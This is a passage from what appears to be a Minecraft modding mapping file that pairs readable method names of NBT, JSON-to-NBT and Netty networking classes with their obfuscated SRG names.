(Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagIntArray/hashCode ()I net/minecraft/nbt/NBTTagIntArray/hashCode ()I +MD: net/minecraft/nbt/NBTTagIntArray/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagIntArray/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagInt/getId ()B net/minecraft/nbt/NBTTagInt/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagInt/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagInt/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagInt/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagInt/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagInt/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagInt/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagInt/getLong ()J net/minecraft/nbt/NBTTagInt/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagInt/getInt ()I net/minecraft/nbt/NBTTagInt/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagInt/getShort ()S net/minecraft/nbt/NBTTagInt/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagInt/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagInt/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagInt/getByte ()B net/minecraft/nbt/NBTTagInt/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagInt/getDouble ()D net/minecraft/nbt/NBTTagInt/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagInt/getFloat ()F net/minecraft/nbt/NBTTagInt/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagInt/hashCode ()I net/minecraft/nbt/NBTTagInt/hashCode ()I +MD: net/minecraft/nbt/NBTTagInt/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagInt/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagList/getId ()B net/minecraft/nbt/NBTTagList/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagList/removeTag (I)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagList/func_74744_a (I)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagList/set (ILnet/minecraft/nbt/NBTBase;)V net/minecraft/nbt/NBTTagList/func_150304_a (ILnet/minecraft/nbt/NBTBase;)V +MD: net/minecraft/nbt/NBTTagList/appendTag (Lnet/minecraft/nbt/NBTBase;)V net/minecraft/nbt/NBTTagList/func_74742_a (Lnet/minecraft/nbt/NBTBase;)V +MD: net/minecraft/nbt/NBTTagList/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagList/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagList/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagList/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagList/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagList/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagList/getCompoundTagAt (I)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/NBTTagList/func_150305_b (I)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/NBTTagList/tagCount ()I net/minecraft/nbt/NBTTagList/func_74745_c ()I +MD: net/minecraft/nbt/NBTTagList/getIntArrayAt (I)[I net/minecraft/nbt/NBTTagList/func_150306_c (I)[I +MD: net/minecraft/nbt/NBTTagList/hasNoTags ()Z net/minecraft/nbt/NBTTagList/func_82582_d ()Z +MD: net/minecraft/nbt/NBTTagList/getDoubleAt (I)D net/minecraft/nbt/NBTTagList/func_150309_d (I)D +MD: net/minecraft/nbt/NBTTagList/getFloatAt (I)F net/minecraft/nbt/NBTTagList/func_150308_e (I)F +MD: net/minecraft/nbt/NBTTagList/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagList/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagList/getTagType ()I net/minecraft/nbt/NBTTagList/func_150303_d ()I +MD: net/minecraft/nbt/NBTTagList/getStringTagAt (I)Ljava/lang/String; net/minecraft/nbt/NBTTagList/func_150307_f (I)Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagList/get (I)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagList/func_179238_g (I)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagList/hashCode ()I net/minecraft/nbt/NBTTagList/hashCode ()I +MD: net/minecraft/nbt/NBTTagList/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagList/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagLong/getId ()B net/minecraft/nbt/NBTTagLong/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagLong/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagLong/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagLong/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagLong/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagLong/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagLong/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagLong/getLong ()J net/minecraft/nbt/NBTTagLong/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagLong/getInt ()I net/minecraft/nbt/NBTTagLong/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagLong/getShort ()S net/minecraft/nbt/NBTTagLong/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagLong/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagLong/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagLong/getByte ()B net/minecraft/nbt/NBTTagLong/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagLong/getDouble ()D net/minecraft/nbt/NBTTagLong/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagLong/getFloat ()F net/minecraft/nbt/NBTTagLong/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagLong/hashCode ()I net/minecraft/nbt/NBTTagLong/hashCode ()I +MD: net/minecraft/nbt/NBTTagLong/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagLong/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTSizeTracker$1/read (J)V net/minecraft/nbt/NBTSizeTracker$1/func_152450_a (J)V +MD: net/minecraft/nbt/NBTSizeTracker/read (J)V net/minecraft/nbt/NBTSizeTracker/func_152450_a (J)V +MD: net/minecraft/nbt/CompressedStreamTools/write (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/DataOutput;)V net/minecraft/nbt/CompressedStreamTools/func_74800_a (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/CompressedStreamTools/safeWrite (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/File;)V net/minecraft/nbt/CompressedStreamTools/func_74793_a (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/File;)V +MD: net/minecraft/nbt/CompressedStreamTools/writeCompressed (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/OutputStream;)V net/minecraft/nbt/CompressedStreamTools/func_74799_a (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/OutputStream;)V +MD: net/minecraft/nbt/CompressedStreamTools/writeTag (Lnet/minecraft/nbt/NBTBase;Ljava/io/DataOutput;)V net/minecraft/nbt/CompressedStreamTools/func_150663_a (Lnet/minecraft/nbt/NBTBase;Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/CompressedStreamTools/func_152455_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/CompressedStreamTools/func_152455_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/CompressedStreamTools/read (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/CompressedStreamTools/func_152456_a (Ljava/io/DataInput;Lnet/minecraft/nbt/NBTSizeTracker;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/CompressedStreamTools/read (Ljava/io/DataInputStream;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/CompressedStreamTools/func_74794_a (Ljava/io/DataInputStream;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/CompressedStreamTools/read (Ljava/io/File;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/CompressedStreamTools/func_74797_a (Ljava/io/File;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/CompressedStreamTools/readCompressed (Ljava/io/InputStream;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/CompressedStreamTools/func_74796_a (Ljava/io/InputStream;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/CompressedStreamTools/write (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/File;)V net/minecraft/nbt/CompressedStreamTools/func_74795_b (Lnet/minecraft/nbt/NBTTagCompound;Ljava/io/File;)V +MD: net/minecraft/nbt/NBTUtil/readGameProfileFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lcom/mojang/authlib/GameProfile; net/minecraft/nbt/NBTUtil/func_152459_a (Lnet/minecraft/nbt/NBTTagCompound;)Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/nbt/NBTUtil/writeGameProfile (Lnet/minecraft/nbt/NBTTagCompound;Lcom/mojang/authlib/GameProfile;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/NBTUtil/func_180708_a (Lnet/minecraft/nbt/NBTTagCompound;Lcom/mojang/authlib/GameProfile;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/NBTUtil/func_181123_a (Lnet/minecraft/nbt/NBTBase;Lnet/minecraft/nbt/NBTBase;Z)Z net/minecraft/nbt/NBTUtil/func_181123_a (Lnet/minecraft/nbt/NBTBase;Lnet/minecraft/nbt/NBTBase;Z)Z +MD: net/minecraft/nbt/NBTTagShort/getId ()B net/minecraft/nbt/NBTTagShort/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagShort/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagShort/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagShort/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagShort/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagShort/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagShort/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagShort/getLong ()J net/minecraft/nbt/NBTTagShort/func_150291_c ()J +MD: net/minecraft/nbt/NBTTagShort/getInt ()I net/minecraft/nbt/NBTTagShort/func_150287_d ()I +MD: net/minecraft/nbt/NBTTagShort/getShort ()S net/minecraft/nbt/NBTTagShort/func_150289_e ()S +MD: net/minecraft/nbt/NBTTagShort/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagShort/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagShort/getByte ()B net/minecraft/nbt/NBTTagShort/func_150290_f ()B +MD: net/minecraft/nbt/NBTTagShort/getDouble ()D net/minecraft/nbt/NBTTagShort/func_150286_g ()D +MD: net/minecraft/nbt/NBTTagShort/getFloat ()F net/minecraft/nbt/NBTTagShort/func_150288_h ()F +MD: net/minecraft/nbt/NBTTagShort/hashCode ()I net/minecraft/nbt/NBTTagShort/hashCode ()I +MD: net/minecraft/nbt/NBTTagShort/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagShort/toString ()Ljava/lang/String; +MD: net/minecraft/util/ReportedException/getCrashReport ()Lnet/minecraft/crash/CrashReport; net/minecraft/util/ReportedException/func_71575_a ()Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/util/ReportedException/getCause ()Ljava/lang/Throwable; net/minecraft/util/ReportedException/getCause ()Ljava/lang/Throwable; +MD: net/minecraft/util/ReportedException/getMessage ()Ljava/lang/String; net/minecraft/util/ReportedException/getMessage ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagString/getId ()B net/minecraft/nbt/NBTTagString/func_74732_a ()B +MD: net/minecraft/nbt/NBTTagString/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTTagString/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTTagString/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTTagString/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTTagString/getString ()Ljava/lang/String; net/minecraft/nbt/NBTTagString/func_150285_a_ ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTTagString/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTTagString/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTTagString/hasNoTags ()Z net/minecraft/nbt/NBTTagString/func_82582_d ()Z +MD: net/minecraft/nbt/NBTTagString/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTTagString/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTTagString/hashCode ()I net/minecraft/nbt/NBTTagString/hashCode ()I +MD: net/minecraft/nbt/NBTTagString/toString ()Ljava/lang/String; net/minecraft/nbt/NBTTagString/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getLong ()J net/minecraft/nbt/NBTBase$NBTPrimitive/func_150291_c ()J +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getInt ()I net/minecraft/nbt/NBTBase$NBTPrimitive/func_150287_d ()I +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getShort ()S net/minecraft/nbt/NBTBase$NBTPrimitive/func_150289_e ()S +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getByte ()B net/minecraft/nbt/NBTBase$NBTPrimitive/func_150290_f ()B +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getDouble ()D net/minecraft/nbt/NBTBase$NBTPrimitive/func_150286_g ()D +MD: net/minecraft/nbt/NBTBase$NBTPrimitive/getFloat ()F net/minecraft/nbt/NBTBase$NBTPrimitive/func_150288_h ()F +MD: net/minecraft/nbt/NBTBase/getId ()B net/minecraft/nbt/NBTBase/func_74732_a ()B +MD: net/minecraft/nbt/NBTBase/createNewByType (B)Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTBase/func_150284_a (B)Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTBase/read (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V net/minecraft/nbt/NBTBase/func_152446_a (Ljava/io/DataInput;ILnet/minecraft/nbt/NBTSizeTracker;)V +MD: net/minecraft/nbt/NBTBase/write (Ljava/io/DataOutput;)V net/minecraft/nbt/NBTBase/func_74734_a (Ljava/io/DataOutput;)V +MD: net/minecraft/nbt/NBTBase/getString ()Ljava/lang/String; net/minecraft/nbt/NBTBase/func_150285_a_ ()Ljava/lang/String; +MD: net/minecraft/nbt/NBTBase/copy ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/NBTBase/func_74737_b ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/NBTBase/hasNoTags ()Z net/minecraft/nbt/NBTBase/func_82582_d ()Z +MD: net/minecraft/nbt/NBTBase/equals (Ljava/lang/Object;)Z net/minecraft/nbt/NBTBase/equals (Ljava/lang/Object;)Z +MD: net/minecraft/nbt/NBTBase/hashCode ()I net/minecraft/nbt/NBTBase/hashCode ()I +MD: net/minecraft/nbt/NBTBase/toString ()Ljava/lang/String; net/minecraft/nbt/NBTBase/toString ()Ljava/lang/String; +MD: net/minecraft/nbt/JsonToNBT$Any/parse ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/JsonToNBT$Any/func_150489_a ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/JsonToNBT$Compound/parse ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/JsonToNBT$Compound/func_150489_a ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/JsonToNBT$List/parse ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/JsonToNBT$List/func_150489_a ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/JsonToNBT$Primitive/parse ()Lnet/minecraft/nbt/NBTBase; net/minecraft/nbt/JsonToNBT$Primitive/func_150489_a ()Lnet/minecraft/nbt/NBTBase; +MD: net/minecraft/nbt/JsonToNBT/getTagFromJson (Ljava/lang/String;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/nbt/JsonToNBT/func_180713_a (Ljava/lang/String;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/nbt/JsonToNBT/func_150312_a (Ljava/lang/String;C)I net/minecraft/nbt/JsonToNBT/func_150312_a (Ljava/lang/String;C)I +MD: net/minecraft/nbt/JsonToNBT/func_179269_a (Ljava/lang/String;I)Ljava/lang/String; net/minecraft/nbt/JsonToNBT/func_179269_a (Ljava/lang/String;I)Ljava/lang/String; +MD: net/minecraft/nbt/JsonToNBT/func_150316_a (Ljava/lang/String;Ljava/lang/String;)Lnet/minecraft/nbt/JsonToNBT$Any; net/minecraft/nbt/JsonToNBT/func_150316_a (Ljava/lang/String;Ljava/lang/String;)Lnet/minecraft/nbt/JsonToNBT$Any; +MD: net/minecraft/nbt/JsonToNBT/func_179270_a (Ljava/lang/String;Z)Lnet/minecraft/nbt/JsonToNBT$Any; net/minecraft/nbt/JsonToNBT/func_179270_a (Ljava/lang/String;Z)Lnet/minecraft/nbt/JsonToNBT$Any; +MD: net/minecraft/nbt/JsonToNBT/func_179272_a ([Ljava/lang/String;)Lnet/minecraft/nbt/JsonToNBT$Any; net/minecraft/nbt/JsonToNBT/func_179272_a ([Ljava/lang/String;)Lnet/minecraft/nbt/JsonToNBT$Any; +MD: net/minecraft/nbt/JsonToNBT/func_150310_b (Ljava/lang/String;)I net/minecraft/nbt/JsonToNBT/func_150310_b (Ljava/lang/String;)I +MD: net/minecraft/nbt/JsonToNBT/func_179271_b (Ljava/lang/String;I)Z net/minecraft/nbt/JsonToNBT/func_179271_b (Ljava/lang/String;I)Z +MD: net/minecraft/nbt/JsonToNBT/func_150314_a (Ljava/lang/String;Z)Ljava/lang/String; net/minecraft/nbt/JsonToNBT/func_150314_a (Ljava/lang/String;Z)Ljava/lang/String; +MD: net/minecraft/nbt/JsonToNBT/func_150313_b (Ljava/lang/String;Z)Ljava/lang/String; net/minecraft/nbt/JsonToNBT/func_150313_b (Ljava/lang/String;Z)Ljava/lang/String; +MD: net/minecraft/nbt/JsonToNBT/func_150311_c (Ljava/lang/String;Z)Ljava/lang/String; net/minecraft/nbt/JsonToNBT/func_150311_c (Ljava/lang/String;Z)Ljava/lang/String; +MD: net/minecraft/network/NettyEncryptionTranslator/func_150502_a (Lio/netty/buffer/ByteBuf;)[B net/minecraft/network/NettyEncryptionTranslator/func_150502_a (Lio/netty/buffer/ByteBuf;)[B +MD: net/minecraft/network/NettyEncryptionTranslator/cipher (Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/NettyEncryptionTranslator/func_150504_a (Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/NettyEncryptionTranslator/decipher (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; net/minecraft/network/NettyEncryptionTranslator/func_150503_a (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)Lio/netty/buffer/ByteBuf; +MD: net/minecraft/network/NettyEncryptingDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V net/minecraft/network/NettyEncryptingDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V +MD: net/minecraft/network/NettyEncryptingDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Ljava/util/List;)V net/minecraft/network/NettyEncryptingDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Ljava/util/List;)V +MD: net/minecraft/network/NettyEncryptingEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/NettyEncryptingEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/NettyEncryptingEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/NettyEncryptingEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/NettyCompressionDecoder/setCompressionTreshold (I)V net/minecraft/network/NettyCompressionDecoder/func_179303_a (I)V +MD: net/minecraft/network/NettyCompressionDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V net/minecraft/network/NettyCompressionDecoder/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V +MD: net/minecraft/network/NettyCompressionEncoder/setCompressionTreshold (I)V net/minecraft/network/NettyCompressionEncoder/func_179299_a (I)V +MD: net/minecraft/network/NettyCompressionEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/NettyCompressionEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/NettyCompressionEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V net/minecraft/network/NettyCompressionEncoder/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/NetworkManager$1/load ()Lio/netty/channel/nio/NioEventLoopGroup; net/minecraft/network/NetworkManager$1/func_179280_b ()Lio/netty/channel/nio/NioEventLoopGroup; +MD: net/minecraft/network/NetworkManager$1/load ()Ljava/lang/Object; net/minecraft/network/NetworkManager$1/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkManager$2/load ()Lio/netty/channel/epoll/EpollEventLoopGroup; net/minecraft/network/NetworkManager$2/func_179280_b ()Lio/netty/channel/epoll/EpollEventLoopGroup; +MD: net/minecraft/network/NetworkManager$2/load ()Ljava/lang/Object; net/minecraft/network/NetworkManager$2/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkManager$3/load ()Lio/netty/channel/local/LocalEventLoopGroup; net/minecraft/network/NetworkManager$3/func_179280_b ()Lio/netty/channel/local/LocalEventLoopGroup; +MD: net/minecraft/network/NetworkManager$3/load ()Ljava/lang/Object; net/minecraft/network/NetworkManager$3/func_179280_b ()Ljava/lang/Object; +MD: net/minecraft/network/NetworkManager$4/run ()V net/minecraft/network/NetworkManager$4/run ()V +MD: net/minecraft/network/NetworkManager$5/initChannel (Lio/netty/channel/Channel;)V net/minecraft/network/NetworkManager$5/initChannel (Lio/netty/channel/Channel;)V +MD: net/minecraft/network/NetworkManager$6/initChannel (Lio/netty/channel/Channel;)V net/minecraft/network/NetworkManager$6/initChannel (Lio/netty/channel/Channel;)V +MD: net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/access$100 (Lnet/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener;)Lnet/minecraft/network/Packet; net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/access$100 (Lnet/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener;)Lnet/minecraft/network/Packet; +MD: net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/access$200 (Lnet/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener;)[Lio/netty/util/concurrent/GenericFutureListener; net/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener/access$200 (Lnet/minecraft/network/NetworkManager$InboundHandlerTuplePacketListener;)[Lio/netty/util/concurrent/GenericFutureListener; +MD: net/minecraft/network/NetworkManager/processReceivedPackets ()V net/minecraft/network/NetworkManager/func_74428_b ()V +MD: net/minecraft/network/NetworkManager/setCompressionTreshold (I)V net/minecraft/network/NetworkManager/func_179289_a (I)V +MD: net/minecraft/network/NetworkManager/access$000 (Lnet/minecraft/network/NetworkManager;)Lio/netty/channel/Channel; net/minecraft/network/NetworkManager/access$000 (Lnet/minecraft/network/NetworkManager;)Lio/netty/channel/Channel; +MD: net/minecraft/network/NetworkManager/setConnectionState (Lnet/minecraft/network/EnumConnectionState;)V net/minecraft/network/NetworkManager/func_150723_a (Lnet/minecraft/network/EnumConnectionState;)V +MD: net/minecraft/network/NetworkManager/setNetHandler (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/NetworkManager/func_150719_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/NetworkManager/closeChannel (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/NetworkManager/func_150718_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/network/NetworkManager/sendPacket (Lnet/minecraft/network/Packet;)V net/minecraft/network/NetworkManager/func_179290_a (Lnet/minecraft/network/Packet;)V +MD: net/minecraft/network/NetworkManager/sendPacket (Lnet/minecraft/network/Packet;Lio/netty/util/concurrent/GenericFutureListener;[Lio/netty/util/concurrent/GenericFutureListener;)V net/minecraft/network/NetworkManager/func_179288_a (Lnet/minecraft/network/Packet;Lio/netty/util/concurrent/GenericFutureListener;[Lio/netty/util/concurrent/GenericFutureListener;)V +MD: net/minecraft/network/NetworkManager/dispatchPacket (Lnet/minecraft/network/Packet;[Lio/netty/util/concurrent/GenericFutureListener;)V net/minecraft/network/NetworkManager/func_150732_b (Lnet/minecraft/network/Packet;[Lio/netty/util/concurrent/GenericFutureListener;)V +MD: net/minecraft/network/NetworkManager/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Lnet/minecraft/network/Packet;)V net/minecraft/network/NetworkManager/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Lnet/minecraft/network/Packet;)V +MD: net/minecraft/network/NetworkManager/createNetworkManagerAndConnect (Ljava/net/InetAddress;IZ)Lnet/minecraft/network/NetworkManager; net/minecraft/network/NetworkManager/func_181124_a (Ljava/net/InetAddress;IZ)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/network/NetworkManager/provideLocalClient (Ljava/net/SocketAddress;)Lnet/minecraft/network/NetworkManager; net/minecraft/network/NetworkManager/func_150722_a (Ljava/net/SocketAddress;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/network/NetworkManager/enableEncryption (Ljavax/crypto/SecretKey;)V net/minecraft/network/NetworkManager/func_150727_a (Ljavax/crypto/SecretKey;)V +MD: net/minecraft/network/NetworkManager/getRemoteAddress ()Ljava/net/SocketAddress; net/minecraft/network/NetworkManager/func_74430_c ()Ljava/net/SocketAddress; +MD: net/minecraft/network/NetworkManager/isLocalChannel ()Z net/minecraft/network/NetworkManager/func_150731_c ()Z +MD: net/minecraft/network/NetworkManager/channelActive (Lio/netty/channel/ChannelHandlerContext;)V net/minecraft/network/NetworkManager/channelActive (Lio/netty/channel/ChannelHandlerContext;)V +MD: net/minecraft/network/NetworkManager/channelInactive (Lio/netty/channel/ChannelHandlerContext;)V net/minecraft/network/NetworkManager/channelInactive (Lio/netty/channel/ChannelHandlerContext;)V +MD: net/minecraft/network/NetworkManager/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V net/minecraft/network/NetworkManager/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V +MD: net/minecraft/network/NetworkManager/exceptionCaught (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Throwable;)V net/minecraft/network/NetworkManager/exceptionCaught (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Throwable;)V +MD: net/minecraft/network/NetworkManager/getIsencrypted ()Z net/minecraft/network/NetworkManager/func_179292_f ()Z +MD: net/minecraft/network/NetworkManager/isChannelOpen ()Z net/minecraft/network/NetworkManager/func_150724_d ()Z +MD: net/minecraft/network/NetworkManager/hasNoChannel ()Z net/minecraft/network/NetworkManager/func_179291_h ()Z +MD: net/minecraft/network/NetworkManager/getNetHandler ()Lnet/minecraft/network/INetHandler; net/minecraft/network/NetworkManager/func_150729_e ()Lnet/minecraft/network/INetHandler; +MD: net/minecraft/network/NetworkManager/getExitMessage ()Lnet/minecraft/util/IChatComponent; 